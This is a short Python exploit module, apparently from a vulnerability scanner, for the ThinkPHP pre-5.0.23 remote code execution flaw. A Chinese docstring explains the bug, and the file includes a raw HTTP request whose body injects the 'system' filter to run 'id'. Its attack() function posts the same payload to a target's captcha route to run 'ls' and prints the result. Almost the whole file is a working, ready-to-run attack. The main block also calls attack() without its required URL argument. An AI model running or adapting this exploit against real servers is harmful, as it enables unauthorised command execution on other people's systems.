49 lines
1.7 KiB
Python
49 lines
1.7 KiB
Python
|
# -*- coding: utf-8 -*-
|
|||
|
|
import requests
|
|||
|
|
from bs4 import BeautifulSoup
|
|||
|
|
|
|||
|
|
'''
|
|||
|
|
moon.py -u thinkphp http://xxxx.xxxx.xxxx.xxxx:xx
|
|||
|
|
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
|
|||
|
|
|
|||
|
|
POST /index.php?s=captcha HTTP/1.1
|
|||
|
|
Host: localhost
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
Accept: */*
|
|||
|
|
Accept-Language: en
|
|||
|
|
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
|||
|
|
Connection: close
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 72
|
|||
|
|
|
|||
|
|
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
|
|||
|
|
'''
|
|||
|
|
|
|||
|
|
|
|||
|
|
def attack(url):
|
|||
|
|
print('[+]开始检测 thinkphp_before5.0.23_rce ！')
|
|||
|
|
URL1 = url + r'/index.php?s=captcha'
|
|||
|
|
try:
|
|||
|
|
data = {'_method': '__construct', 'filter[]': 'system', 'method': 'get', 'server[REQUEST_METHOD]': 'ls'}
|
|||
|
|
re = requests.post(URL1, data=data, verify=False, timeout=10)
|
|||
|
|
except Exception:
|
|||
|
|
print('[-]访问漏洞页面失败，未发现该漏洞！')
|
|||
|
|
print('\n')
|
|||
|
|
else:
|
|||
|
|
if re.status_code == 200 and 'System Error' in re.text:
|
|||
|
|
print('[+]命令成功执行，获取到的目录如下:')
|
|||
|
|
try:
|
|||
|
|
print(re.text[:80])
|
|||
|
|
print('[+]漏洞检测结束,存在 thinkphp_before5.0.23_rce ！')
|
|||
|
|
print('\n')
|
|||
|
|
except Exception:
|
|||
|
|
print('[-]获取数据出错！请自行访问页面判断.')
|
|||
|
|
print('\n')
|
|||
|
|
else:
|
|||
|
|
print('[-]访问漏洞页面失败，未发现该漏洞', URL1, re.status_code)
|
|||
|
|
print('\n')
|
|||
|
|
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
attack()
|